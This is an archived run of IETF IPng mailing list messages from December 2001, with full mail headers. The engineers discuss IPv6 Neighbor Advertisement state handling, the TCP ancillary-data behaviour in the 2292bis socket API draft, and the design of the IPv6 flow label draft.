<200112172147.XAA29036@burp.tkv.asdf.org> From: Markku Savela To: ipng@sunroof.eng.sun.com Subject: Clarify NA processing Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I've had some problems getting the ND right, especially the IS ROUTER bit handling in some cases. The RFC has some long winded convoluted english statements with and's and or's, that I have hard time parsing. The state table in the appendix is also somewhat hard to read, and does not cover all combinations. So to clarify my thoughs, I decided to construct a new table, this one just for Neighbor Advertisement. I would now like verify that I got it right and have couple of questions too. ---------------------------- Neighbor Advertisement info: No TLL, TLL present s = unsolicited (S=0), S = solicited (S=1) o = no override (O=0), O = override set (O=1) Actions: STALE the new state of cache entry REACH the new state of cache entry - no chance in cache entry addr=TTL address of the entry is updated R router bit is processed (R=0 host, R=1 router) ? Don't know what should be done ========================================================================= First link layer without addresses: ========================================================================= | No TLL given | TLL given STATE | s,o | s,O | S,o | S,O | s,o | s,O | S,o | S,O ----------+------+------+---------------+----------------+-------+------- = INCOMPL | STALE | REACH | | No Address| R | R | ? | ? ----------|-------------|---------------|-------+--------|-------+------- REACHABLE | - | - | REACH | REACH | | | | No Address| R | R | R | R | ? | ? | ? | ? ----------|------|------|-------|-------|-------|--------|-------|------- OTHER | - | - | REACH | REACH | | | | No address| R | R | R | R | ? | ? | ? | ? ========================================================================= Question: What should I do with NA that gives TLL on a link that is not using link layer addresses? (the "?" marks). Alternatives are a) ignore as invalid b) ignore the TLL option as if it wasn't present, and process as described on the left side. Following with Link Layer that uses address: ========================================================================= | No TLL given | TLL given STATE | s,o | s,O | S,o | S,O | s,o | s,O | S,o | S,O ----------+------+------+---------------+----------------+-------+------- = INCOMPL | - | - | addr=TLL | addr=TLL | - | - | STALE | REACH | - | - | R | R ----------|-----------------------------|-------|--------|--------------- != INCOMPL| | - | - | - | - Address | N/A (no TLL, cannot be same)| - | - | REACH | REACH == TLL | | R | R | R | R ----------|-----------------------------|-------|--------|-------|-------- REACHABLE | - | - | - | - | - |addr=TLL| - |addr=TLL Address | - | - | - | - | STALE | STALE | STALE | STALE =! TLL | - | R? | - | R? | - | R | - | R ----------|-----------------------------|-------|--------|-------|-------- OTHER | - | - | - | - | - |addr=TLL| - |addr=TLL Address | - | - | - | - | - | STALE | - | STALE =! TLL | - | R? | - | R? | - | R | - | R ========================================================================== Question: Concerning the lower left corner section: NA doesn't give TLL, even if link is using addresses (here treated as Address != TLL), but neighbor cache entry exists. - what should happen? Ignore always? Or ISROUTER bit handling supposed to happen for these (for example, those marked with "R?") -- Markku Savela -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 17 14:07:30 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHM7TFp010453 for ; Mon, 17 Dec 2001 14:07:30 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBHM7ToK010452 for ipng-dist; Mon, 17 Dec 2001 14:07:29 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHM7QFp010445 for ; Mon, 17 Dec 2001 14:07:26 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA20838 for ; Mon, 17 Dec 2001 14:07:28 -0800 (PST) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA11961 for ; Mon, 17 Dec 2001 14:07:27 -0800 (PST) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 5FAC34B22; Tue, 18 Dec 2001 07:07:20 +0900 (JST) To: Tim Hartrick Cc: ipng@sunroof.eng.sun.com In-reply-to: tim's message of Mon, 17 Dec 2001 13:50:36 PST. <200112172150.NAA08348@feller.mentat.com> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: TCP implication of 2292bis From: itojun@iijlab.net Date: Tue, 18 Dec 2001 07:07:20 +0900 Message-ID: <5701.1008626840@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >> the major problem I'm seeing for -02 definition is that there's no >> relationship defined (impossible) between the normal TCP data stream >> and ancillary data segments. I personally in favor of -03 definition. >So? I didn't realize that having such a relationship had become a requirement. >If it is, the -03 behavior certainly doesn't meet the requirement either. In >fact it is substantially further from meeting it than -02. that is not what I meant. what I'm saying is, since it is impossible to grab extension header together with the data stream come into the TCP data stream portion, -03 definition looks more simple. there's no real need to put extension headers to ancillary data. itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 17 16:33:13 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBI0XDFp010643 for ; Mon, 17 Dec 2001 16:33:13 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBI0XCAG010642 for ipng-dist; Mon, 17 Dec 2001 16:33:12 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBI0X9Fp010635 for ; Mon, 17 Dec 2001 16:33:09 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA05254 for ; Mon, 17 Dec 2001 16:33:08 -0800 (PST) Received: from nebula.sm.sony.co.jp (nebula.sm.sony.co.jp [133.138.10.5]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA05754 for ; Mon, 17 Dec 2001 16:33:07 -0800 (PST) Received: from nest.sm.sony.co.jp (localhost [[UNIX: localhost]]) by nebula.sm.sony.co.jp (8.11.6/8.11.3) with ESMTP id fBI0X4U02219; Tue, 18 Dec 2001 09:33:04 +0900 (JST) Received: (from onoe@localhost) by nest.sm.sony.co.jp (8.11.6/8.11.3) id fBI0WtD08098; Tue, 18 Dec 2001 09:32:55 +0900 (JST) Date: Tue, 18 Dec 2001 09:32:55 +0900 (JST) From: Atsushi Onoe Message-Id: <200112180032.fBI0WtD08098@nest.sm.sony.co.jp> To: tim@mentat.com Cc: ipng@sunroof.eng.sun.com Subject: Re: TCP implication of 2292bis In-Reply-To: Your message of "Mon, 17 Dec 2001 13:22:36 -0800 (PST)" <200112172122.NAA08330@feller.mentat.com> References: <200112172122.NAA08330@feller.mentat.com> X-Mailer: Cue version 0.6 (011127-0052/onoe) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Simplest is in the eye of the beholder. We have implemented the -02 > behavior and the -03 behavior in the past. I would not agree that the -03 > behavior is simpler is any respect. So we all have implemented the -03 behavior. Why changes are needed? The -03 behavior, which is almost same as existing RFC 2292 behavior, works fine even for receive only applications or with shutdown. I believe that the reason for recvmsg() raised in 2292bis was to trace the changes in extension headers and other parameters for receiving applications. But it is obviously impossible for TCP. So the only reason to keep -02 behavior would be similarity for UDP. Most of TCP applications is not so similar to UDP and required changes for existing TCP applications is minimum in -03, IMO. Atsushi Onoe -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 17 16:53:10 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBI0rAFp010720 for ; Mon, 17 Dec 2001 16:53:10 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBI0rAXl010719 for ipng-dist; Mon, 17 Dec 2001 16:53:10 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBI0r6Fp010712 for ; Mon, 17 Dec 2001 16:53:06 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA17937 for ; Mon, 17 Dec 2001 16:53:08 -0800 (PST) Received: from roll.mentat.com (mentat.com [192.88.122.129]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA12180 for ; Mon, 17 Dec 2001 16:53:08 -0800 (PST) Received: from leo.mentat.com (leo [192.88.122.132]) by roll.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id QAA12840; Mon, 17 Dec 2001 16:53:27 -0800 (PST) Received: from feller.mentat.com (feller [192.88.122.144]) by leo.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id QAA27611; Mon, 17 Dec 2001 16:53:27 -0800 (PST) Received: (from tim@localhost) by feller.mentat.com (8.9.3+Sun/8.9.3) id QAA08412; Mon, 17 Dec 2001 16:58:33 -0800 (PST) Date: Mon, 17 Dec 2001 16:58:33 -0800 (PST) From: Tim Hartrick Message-Id: <200112180058.QAA08412@feller.mentat.com> To: onoe@sm.sony.co.jp Subject: Re: TCP implication of 2292bis Cc: ipng@sunroof.eng.sun.com X-Sun-Charset: US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > > Simplest is in the eye of the beholder. We have implemented the -02 > > behavior and the -03 behavior in the past. I would not agree that the -03 > > behavior is simpler is any respect. > > So we all have implemented the -03 behavior. Why changes are needed? > The -03 behavior, which is almost same as existing RFC 2292 behavior, > works fine even for receive only applications or with shutdown. > Yes, we implemented something like the -03 behavior four years ago. There is little reason to resurrect it since the -02 behavior was specified almost three years ago, has been implemented and works. I don't know who "we all" is here. I don't believe Vlad's team has implemented the -03 behavior and while we have implemented it in the past we don't really care to bring it back. The -02 behavior has been specified for almost three years. It has been implemented and shipped. There seems to be no clear consensus for a change (3 for, 2 against). > I believe that the reason for recvmsg() raised in 2292bis was to trace > the changes in extension headers and other parameters for receiving > applications. But it is obviously impossible for TCP. > Impossible seems to be a strong word. I don't agree. > So the only reason to keep -02 behavior would be similarity for UDP. > Most of TCP applications is not so similar to UDP and required changes > for existing TCP applications is minimum in -03, IMO. > Since there doesn't seem to be consensus for the change made between -02 and -03 the -02 behavior should hold. If not then both mechanisms should be excised from the document. We have wasted enough time on a facility of dubious value. tim -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 17 17:06:26 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBI16PFp010744 for ; Mon, 17 Dec 2001 17:06:25 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBI16PIC010743 for ipng-dist; Mon, 17 Dec 2001 17:06:25 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBI16MFp010736 for ; Mon, 17 Dec 2001 17:06:22 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA20917 for ; Mon, 17 Dec 2001 17:06:25 -0800 (PST) Received: from nebula.sm.sony.co.jp (nebula.sm.sony.co.jp [133.138.10.5]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA17936 for ; Mon, 17 Dec 2001 18:06:23 -0700 (MST) Received: from nest.sm.sony.co.jp (localhost [[UNIX: localhost]]) by nebula.sm.sony.co.jp (8.11.6/8.11.3) with ESMTP id fBI16Kh02546; Tue, 18 Dec 2001 10:06:20 +0900 (JST) Received: (from onoe@localhost) by nest.sm.sony.co.jp (8.11.6/8.11.3) id fBI16BG08297; Tue, 18 Dec 2001 10:06:11 +0900 (JST) Date: Tue, 18 Dec 2001 10:06:11 +0900 (JST) From: Atsushi Onoe Message-Id: <200112180106.fBI16BG08297@nest.sm.sony.co.jp> To: tim@mentat.com Cc: ipng@sunroof.eng.sun.com Subject: Re: TCP implication of 2292bis In-Reply-To: Your message of "Mon, 17 Dec 2001 16:58:33 -0800 (PST)" <200112180058.QAA08412@feller.mentat.com> References: <200112180058.QAA08412@feller.mentat.com> X-Mailer: Cue version 0.6 (011127-0052/onoe) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > If not then both mechanisms should > be excised from the document. Actually, it is acceptable for me. > We have wasted enough time on a facility of > dubious value. Agreed. Atsushi Onoe -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 17 17:33:14 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBI1XEFp010812 for ; Mon, 17 Dec 2001 17:33:14 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBI1XEro010811 for ipng-dist; Mon, 17 Dec 2001 17:33:14 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBI1XAFp010804 for ; Mon, 17 Dec 2001 17:33:10 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA22966 for ; Mon, 17 Dec 2001 17:33:12 -0800 (PST) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA24061 for ; Mon, 17 Dec 2001 18:33:10 -0700 (MST) Received: from localhost ([3ffe:501:4819:2000:fd68:c33b:d785:5a70]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id fBI1X8334907 for ; Tue, 18 Dec 2001 10:33:08 +0900 (JST) Date: Tue, 18 Dec 2001 10:33:08 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: ipng@sunroof.eng.sun.com Subject: Re: TCP implication of 2292bis In-Reply-To: <200112180106.fBI16BG08297@nest.sm.sony.co.jp> References: <200112180058.QAA08412@feller.mentat.com> <200112180106.fBI16BG08297@nest.sm.sony.co.jp> User-Agent: Wanderlust/2.7.5 (Too Funky) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 980905(IM100) Lines: 20 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Tue, 18 Dec 2001 10:06:11 +0900 (JST), >>>>> Atsushi Onoe said: >> If not then both mechanisms should >> be excised from the document. > Actually, it is acceptable for me. Okay with me, too. I just tried to make the document clear in the 03 draft, but in fact I don't see practical usage of receiving the optional information on TCP sockets. If we can reach a consensus of leaving it unspecified (by removing the text), it's just fine. I'll hear from others for a while, then revise the text along with this approach if no one makes an objection. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 17 23:42:55 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBI7gtFp011500 for ; Mon, 17 Dec 2001 23:42:55 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBI7gto2011499 for ipng-dist; Mon, 17 Dec 2001 23:42:55 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBI7goFp011492 for ; Mon, 17 Dec 2001 23:42:51 -0800 (PST) Received: from lillen (hobo176.EBay.Sun.COM [129.150.99.73]) by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fBI7giq25897; Tue, 18 Dec 2001 08:42:45 +0100 (MET) Date: Tue, 18 Dec 2001 07:34:49 +0100 (CET) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: TCP implication of 2292bis To: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= Cc: ipng@sunroof.eng.sun.com In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Okay with me, too. I just tried to make the document clear in the 03 > draft, but in fact I don't see practical usage of receiving the > optional information on TCP sockets. If we can reach a consensus of > leaving it unspecified (by removing the text), it's just fine. At one level I don't have a problem with removing the 02 and 03 behavior since no TCP applications use this. However, I wonder what we would do if a TCP application comes around and wants to either restrict the extension headers used on the receive side and/or be aware of what is used. Perhaps this is something we can only speculate given that no such applications exist. Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 18 00:37:55 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBI8bsFp011536 for ; Tue, 18 Dec 2001 00:37:54 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBI8bsRx011535 for ipng-dist; Tue, 18 Dec 2001 00:37:54 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBI8blFp011528 for ; Tue, 18 Dec 2001 00:37:48 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA21035 for ; Tue, 18 Dec 2001 00:37:48 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA07320 for ; Tue, 18 Dec 2001 01:37:29 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id JAA08426; Tue, 18 Dec 2001 09:37:45 +0100 Received: from dhcp222-13.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA49322 from ; Tue, 18 Dec 2001 09:37:39 +0100 Message-Id: <3C1F0053.520291B7@hursley.ibm.com> Date: Tue, 18 Dec 2001 09:37:39 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Craig Dunk Cc: "'James Kempf'" , Michael Thomas , Margaret Wasserman , ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <05BEA41254F24A4CBA66E811CDD3AD9C07D4FD@xch08ykf> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Yes, the flow label is explicitly excluded from AH. So it could be modified en route and you can't authenticate its value. Assuming we decide to use it as an end2end value, that could be viewed as a bug. Brian Craig Dunk wrote: > > Tangent: > > Does "readable when encrypted" extend to "modifiable when authenticated" or > are some policies required about what "recommended" uses are for the field? > This may be covered nicely by the phrase in a previous message that "...the > IPv6 flow label is *not* a routing label.". > > Craig. > > -----Original Message----- > From: James Kempf [mailto:kempf@docomolabs-usa.com] > Sent: December 17, 2001 1:06 PM > To: Michael Thomas; Margaret Wasserman > Cc: Brian E Carpenter; ipng@sunroof.eng.sun.com > Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt > > Mike, > > You forgot a third: > > 3) Readable when the packet is encrypted > > Thus, QoS can be accomplished even if the > rest of the packet is encrypted. > > jak > > ----- Original Message ----- > From: "Michael Thomas" > To: "Margaret Wasserman" > Cc: "Brian E Carpenter" ; > > Sent: Monday, December 17, 2001 8:21 AM > Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt > > > Margaret Wasserman writes: > > > If I seem to be missing an important point or concept, please send > > > some hints or pointers. > > > > Margaret, > > > > I don't think you're alone wondering what all the > > fuss is about with the flow label since it's > > fairly obvious that normal Intserv classifiers > > function equivalently. However, there's two fairly > > important things that the flow label brings to the > > party: > > > > 1) Speed > > > > Speed is primarily due to the fact that the flow's > > tag is in the IP header itself at a fixed > > location. This simplifies the processing -- > > helpful for ASIC's -- as well allowing > > classification of problematic flows, such > > as IPsec and flows which contain destination > > options or other things which require that > > the header list be traversed. > > > > 2) Protocol independence > > > > RSVP normally uses a 5 tuple which implicitly > > expect a source and destination port. Other > > protocols either disagree (IPsec which requires > > classification based on SPI) or are undefined > > (SCTP...). Use of the flow label will allow us to > > deploy new protocols without having to come up > > with new RFC's to describe how to create its own > > flow classifier. Better, it will not require > > software/hardware upgrades in routers to be able > > to give QoS treatment to new IP protocols. > > > > Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 18 02:06:20 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBIA6KFp011630 for ; Tue, 18 Dec 2001 02:06:20 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBIA6KfT011629 for ipng-dist; Tue, 18 Dec 2001 02:06:20 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBIA6HFp011622 for ; Tue, 18 Dec 2001 02:06:17 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA01450 for ; Tue, 18 Dec 2001 02:06:18 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (96-1.nat.psu.ac.th [202.28.96.1]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA11272 for ; Tue, 18 Dec 2001 03:06:12 -0700 (MST) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id fBIA8ZU02805 for ; Tue, 18 Dec 2001 17:08:35 +0700 (ICT) From: Robert Elz To: ipng@sunroof.eng.sun.com Subject: draft-rajahalme-ipv6-flow-label-00.txt Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 18 Dec 2001 17:08:35 +0700 Message-ID: <2803.1008670115@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On the whole I think this looks like quite a reasonable approach, certainly none of the substantive changes from 2460 bother me. I have two comments ... The first is one of my pet peeves - the over use of those 2119 capitalised words in places they don't belong. Perhaps the worst example is from section 1.3 ... The IPv6 protocol specification SHOULD only state generic rules, if any, governing the use of the flow label field by any flow state establishment method, and MUST enable co-existence of different flow state establishment methods in IPv6 hosts and routers. If this, and 2119 read into it as called for, is to believed, then the state of the IPv6 protocol specification (not any implementation, or product) is an absolute requirement of this specification. That's just weird... Use of those terms is just fine when what is being considered is what an implementation has to do to conform to the spec (which is how they were invented in 1122/1123 after all) but it is really hard to see how they apply in cases like this. Either just exclude 2119 in this doc, and use the upper case for emphasis if it seems to be desired, or carefully consider every case to make sure that the 2119 definitions of the terms actually make sense in the particular context. And second, the flow label is to be defined to be immutable, except when it isn't... There seem to be two exceptions (the text isn't as clear on this as it might be). First, when the sending host has agreed that immutably isn't required (assumed to be as part of some flow state setup mechanism). That's fine, and if it stopped there I probably wouldn't be sending a message at all... The other case, is that the text keeps saying (well, several times at least) that it is OK for the field to be changed, as long as it is restored. That is immutable as far as anyone can tell - there's no need to specifically allow this. If we didn't allow reversible changes, then we wouldn't be able to send packets over ethernets - as there all our nice 1's and 0's get converted into this manchester encoding stuff, and are no longer nice 1's and 0's ... of course, after the packet has arrived everything is back as it should be, so all is fine ... but we don't consider special exceptions to the immutability rules to allow transmission media to alter the values provided they're returned. Nor is it needed here - it just adds confusion. The transmission media, routers along the way, and anything else, is free to do anything at all to the packets - as long as they arrive in the state that they're expected. There's no need to specifically say that. Or perhaps better, if one wants to say that, it should be said in the general form, not applied specifically to one particular field, or it starts to raise the question of just why this particular field is attracting all that attention, and leading to the suspicion that immutable as it applies to this field (other than the exception already covered) is somehow a different kind of immutable than applies to other fields. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 18 02:27:05 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBIAR5Fp011649 for ; Tue, 18 Dec 2001 02:27:05 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBIAR41s011648 for ipng-dist; Tue, 18 Dec 2001 02:27:04 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBIAR0Fp011641 for ; Tue, 18 Dec 2001 02:27:00 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA03397 for ; Tue, 18 Dec 2001 02:27:01 -0800 (PST) Received: from 